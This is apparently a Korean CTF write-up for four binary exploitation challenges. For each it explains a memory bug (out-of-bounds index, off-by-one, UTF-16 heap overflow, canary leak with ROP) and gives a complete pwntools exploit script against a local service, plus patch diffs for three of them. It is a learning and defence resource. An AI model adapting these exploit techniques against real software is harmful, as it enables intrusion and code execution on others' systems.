---
# System prepended metadata

title: Untitled

---

## 문제 풀이

## Note

**익스플로잇**

- *main.c* 파일의 노트 관련 함수에서 `note_idx`의 범위 검증에서 발생하는 로직 버그
    - `if (!(0 <= note_idx < MAX_NOTE_CNT))`
    - 코드는 오른쪽부터 실행되므로, `note_idx < MAX_NOTE_CNT` 부터 실행
    - 해당 비교가 참(1)이든 거짓(0)이든 0 보다 같거나 크기때문에 해당 조건문은 항상 무시됨
    - `note_idx`에 대한 검증이 없으므로, `notes` 전역 변수를 기준으로 **Out of bounds** 취약점이 발생
- `func_update_note` 함수를 통해, `notes` 앞에 있는 `BANNER_PATH`에 접근하여 데이터 변조
    - `./banner`를 `/flags/flag`로 변조하여, 플래그 획득
        
        ```python
        Result *init() {
          setvbuf(stdin, 0, 2, 0);
          setvbuf(stdout, 0, 2, 0);
          setvbuf(stderr, 0, 2, 0);
        
          banner_cmd = (char **)malloc(sizeof(char *));
          *banner_cmd = DEFAULT_BANNER_CMD;
          notes = (Note *)malloc(sizeof(Note) * MAX_NOTE_CNT);
          memset(notes, 0x0, sizeof(Note) * MAX_NOTE_CNT);
        
          return create_ok();
        }
        | banner_cmd | NOTE[0] | .... |
        ```
        
        ```python
        from pwn import *
        context.log_level = "info"
        
        p = remote("localhost", 1338)
        
        p.recvuntil(b"Menu> ")
        p.sendline(b"3")
        
        p.recvuntil(b"Note index> ")
        p.sendline(b"-2")
        
        p.recvuntil(b"Title> ")
        p.sendline(b"/bin/sh")
        
        p.recvuntil(b"Content> ")
        p.sendline(b"ASDF")
        
        p.interactive()
        ```
        

**취약점 패치**

```diff
-  if (!(0 <= note_idx < MAX_NOTE_CNT))
+  if (!(0 <= note_idx && note_idx < MAX_NOTE_CNT))
    return create_error("Invalid note index.\n");
```

## Cash-flow

**익스플로잇**

- *main.c* 파일의 `read_string` 함수에서 발생하는 Off-by-one 버그
    - `char buf[MAX(MAX_MEMO, MAX_CATEGORY)]`
    - 버퍼를 입력받을 데이터의 최대 크기만큼 할당
    - `buf[read(0, buf, max)] = '\0'`
    - 입력받은 후, 마지막에 널 값 설정
    - 버퍼를 생성할 때, 널 값이 들어갈 공간을 생각하지 않아 **Off-by-one** 취약점이 발생
- `SFP`를 변경할 수 있으므로, 스택에 `get_shell` 함수의 주소를 뿌려놓고 취약점 트리거
    
    ```python
    from pwn import *
    context.log_level = "info"
    
    elf = ELF("../dist/cash_flow")
    
    #p = elf.process()
    p = remote("localhost", 1337)
    
    p.recvuntil(b"Menu> ")
    p.sendline(b"1")
    
    p.recvuntil(b"Type of Transaction (1: Deposit, 2: Withdraw)> ")
    p.sendline(b"1")
    
    p.recvuntil(b"Amount> ")
    p.sendline(b"100")
    
    p.recvuntil(b"Date (YYYYMMDD)> ")
    p.sendline(b"20241111")
    
    p.recvuntil(b"Category> ")
    p.send(b"ASDF")
    
    payload = p64(elf.sym["get_shell"]) * (0x100 // 0x8)
    p.recvuntil(b"Memo> ")
    p.send(payload)
    
    p.interactive()
    ```
    

**취약점 패치**

```diff
 void read_string(ssize_t max, char *res) {
-    char buf[MAX(MAX_MEMO, MAX_CATEGORY)];
+    char buf[MAX(MAX_MEMO, MAX_CATEGORY) + 1];

     buf[read(0, buf, max)] = '\0';

     res = malloc(strlen(buf) + 1);
     strcpy(buf, res);
 }
```

## Account

**익스플로잇**

- *account.c* 파일의 `fix_account` 함수에서 이미 할당된 공간과 새로 작성할 문자열의 길이를 비교하는 부분에서 발생하는 로직 버그
    - `if (utf16_strlen((Utf16 *)name) * 2 >= allocated_size) {`
    - 좌항은 쓰고자하는 문자열의 길이(utf16이므로 공간의 크기는 2배수)
    - 우항은 이미 할당된 공간 (NULL 포함)
    - `>=`로 검사하기 때문에 아스키 문자열은 위와 같은 검사에서 정상적으로 동작하지만, utf16은 NULL을 두 개 사용하므로 **Off-by-one** 취약점이 발생
- **Off-by-one** 취약점으로 `Account` 객체의 `type` 필드를 덮을 수 있음
    - `type` 필드를 `0x00`으로 변경하여, 해당 객체가 저장하는 문자열의 타입을 `Ascii`에서 `Unicode`로 강제 변경 가능
    - 해당 객체를 대상으로 `fix_account`를 호출하면, 문자열의 시작점으로부터 `0x0000`을 만날때까지 **Heap overflow** 취약점이 발생
- 풍수를 통해, 문자열 청크 바로 다음에 배너 경로 청크가 오도록 유도
    - 기본 값인 `./banner`의 문자열 길이가 `/flags/flag` 보다 짧아서, 경로를 끝까지 입력할 수 없음
    - 풍수하기 전에, 해당 영역에 미리 값을 채워놔야함 (익스 코드의 C 부분)
    - 이후, **Heap overflow**를 통해 `/flags/flag`를 입력한 뒤, 배너 출력
    
    ```python
    from pwn import *
    import time
    
    context.log_level = "info"
    
    elf = ELF("../dist/account_protocol")
    #p = elf.process()
    
    p = remote("localhost", 1339)
    
    def new_account(type: int, name: bytes) -> None:
        p.send(b"\x00" + p8(type) + name)
    
    def del_account(idx: int) -> None:
        p.send(b"\x01" + p8(idx))
    
    def fix_account(idx: int, type: int, name: bytes) -> None:
        p.send(b"\x02" + p8(idx) + p8(type) + name)
    
    def print_banner():
        p.send(b"\xff")
    
    # ascii
    new_account(1, b"AAAA") # create 0
    p.recvuntil(b"\x00")
    
    # ascii
    new_account(1, b"BBB") # create 1
    p.recvuntil(b"\x01")
    
    del_account(0) # del 0
    p.recvuntil(b"\x00")
    
    # ascii
    # "CCCC.."를 저장하기 위한 0x20 공간 할당
    new_account(1, b"C" * (0x20 - 1)) # create 0
    p.recvuntil(b"\x00")
    
    # "CCCC.."가 저장된 0x20 공간 해체
    del_account(0) # del 0
    p.recvuntil(b"\x00")
    
    # "CCCC.."가 저장됐었던 공간에 재할당
    print_banner()
    
    # ascii
    new_account(1, b"DDDD") # create 0
    p.recvuntil(b"\x00")
    
    fix_account(0, 0, b"\x41\x00\x41\x00")  # Off-by-one
    p.recvuntil(b"\x00")
    
    fix_account(1, 0, b"\x42\x00\x42\x00" + b"/bin/sh" + b"\0\0")  # Heap overflow
    p.recvuntil(b"\x00")
    
    print_banner()
    
    p.interactive()
    p.close()
    ```
    
    ```diff
    new_account(1, b"AAAA") # create 0
    new_account(1, b"BBB") # create 1
    | ac[0] | AAAA\0 | ac[1] | BBB\0 |
    
    del_account(0) # del 0
    | free[ac] | free[5] | ac[1] | BBB\0 |
    
    new_account(1, b"C" * (0x20 - 1))
    | ac[0] | free[5] | ac[1] | BBB\0 | CCC..\0 |
    
    del_account(0)
    | free[ac] | free[5] | ac[1] | BBB\0 | free[0x20] |
    
    print_banner()
    | free[ac] | free[5] | ac[1] | BBB\0 | banner_cmd |
    
    new_account(1, b"DDDD") # create 0
    | ac[0] | DDDD\0 | ac[1] | BBB\0 | banner_cmd |
    
    ```
    
    ```yaml
    fix_account(0, 0, b"\x41\x00\x41\x00") 
    # if (utf16_strlen((Utf16 *)name) * 2 >= allocated_size) {
    # 좌항 = 4, 우항 = 5
    
    # 이 때의 fix_account가 length 계산을 올바르게 수행하지 못하고 heap overflow 발생
    # 이로 인해, ac[1]에 저장된 ascii(1) 플래그가 unicode(0)로 변조
    | ac[0] | \x41\x00\x41\x00\x00 | ac[1] | BBB\0 | banner_cmd |  
    
    fix_account(1, 0, b"\x42\x00\x42\x00" + b"/bin/sh" + b"\0\0") 
    # ac[1]의 타입이 unicode라고 해석됨
    # => BBB 문자열 시작부터 \x00\x00을 만날때까지가 이름이라고 해석됨
    # => 원래 BBB는 ascii 타입이어서 \x00으로 끝남
    # => 뒤에 있는 banner_cmd까지 ac[1]의 이름이라고 해석됨
    # => 원래 길이보다 길게 인식되어서, heap overflow 체이닝 가능
    # => banner_cmd 부분에 원하는 문자열을 넣을 수 있음
    | ac[0] | \x41\x00\x41\x00\x00 | ac[1] | \x42\x00\x42\x00 | /bin/sh\0\0 |  
    
    ```
    

**취약점 패치**

```diff
 switch (type) {
 case ACCOUNT_TYPE_ASCII:
-  if (strlen((char *)name) >= allocated_size) {
+  if (strlen((char *)name) + 1 > allocated_size) {
     fprintf(stderr, "invalid length\n");
     return -1;
   }
   strcpy(ac->name.ascii->string, (char *)name);
   ac->type = ACCOUNT_TYPE_ASCII;
   break;
 case ACCOUNT_TYPE_UNICODE:
-  if (utf16_strlen((Utf16 *)name) * 2 >= allocated_size) {
+  if ((utf16_strlen((Utf16 *)name) + 1) * 2 > allocated_size) {
     fprintf(stderr, "invalid length\n");
     return -1;
   }
```

## intelitigation

```python
from pwn import *
import base64
# context.log_level = "debug"
HOST = 'localhost'
PORT = 16384

s = remote(HOST, PORT)

received = s.recvuntil(b'input> ')
encodedFile = received.split(b'This is Your Binary>\n')[1].split(b'input> ')[0]
decoded = base64.b64decode(encodedFile)

def getSeeds(file):
    seeds = list()
    offset = 0x3020
    for i in range(9):
        seed = file[offset + (i * 8) : offset + (i * 8) + 8]
        seed = u64(seed)
        seeds.append(seed)
    return seeds

def getPeek(file):
    offset = 0x3070
    return u64(file[offset : offset + 8])

seeds = getSeeds(decoded)
canary = seeds[getPeek(decoded)]
print(f'canary : {hex(canary)}')

offset = b'\xf2'
payload = b''
payload += b"A" * 520
payload += p64(canary)
payload += b"A" * 8
payload += offset
s.send(payload)
input()

received = s.recv(1024)
canary_sfp_ret_dummy = received.split(b"A" * 520)[1]
ret = canary_sfp_ret_dummy[16:-1].split(b"input")[0]
ret += b"\x00" * (8 - len(ret))
ret = u64(ret)

base = ret - 0x13f2
print(f'base : {hex(base)}')
readfile = base + 0x1253

#  text:00000000000012B4                 mov     rdi, rsp
# .text:00000000000012B7                 pop     r8
# .text:00000000000012B9                 retn
gadget = base + 0x12b4

payload = b''
payload += b'A' * 520
payload += p64(canary)
payload += b'A' * 8
payload += p64(gadget)
payload += b'flag' + b'\x00' * (8 - len(b"flag"))
payload += p64(readfile)

# gdb.attach(s)
s.send(payload)
input() # 시간 필요 이슈
s.interactive()
```

```python
.text:000000000000124E                 endbr64
.text:0000000000001252                 push    rbp
.text:0000000000001253                 mov     rbp, rsp
.text:0000000000001256                 sub     rsp, 20h
.text:000000000000125A                 mov     [rbp+file], rdi
.text:000000000000125E                 mov     rax, [rbp+file]
.text:0000000000001262                 mov     esi, 0          ; oflag
.text:0000000000001267                 mov     rdi, rax        ; file
.text:000000000000126A                 mov     eax, 0
.text:000000000000126F                 call    _open
.text:0000000000001274                 mov     [rbp+fd], eax
.text:0000000000001277                 mov     eax, [rbp+fd]
.text:000000000000127A                 mov     edx, 64h ; 'd'  ; nbytes
.text:000000000000127F                 lea     rcx, unk_40C0
.text:0000000000001286                 mov     rsi, rcx        ; buf
.text:0000000000001289                 mov     edi, eax        ; fd
.text:000000000000128B                 call    _read
.text:0000000000001290                 mov     edx, 64h ; 'd'  ; n
.text:0000000000001295                 lea     rax, unk_40C0
.text:000000000000129C                 mov     rsi, rax        ; buf
.text:000000000000129F                 mov     edi, 1          ; fd
.text:00000000000012A4                 call    _write
.text:00000000000012A9                 nop
.text:00000000000012AA                 leave
.text:00000000000012AB                 retn
.text:00000000000012AB ; } 
```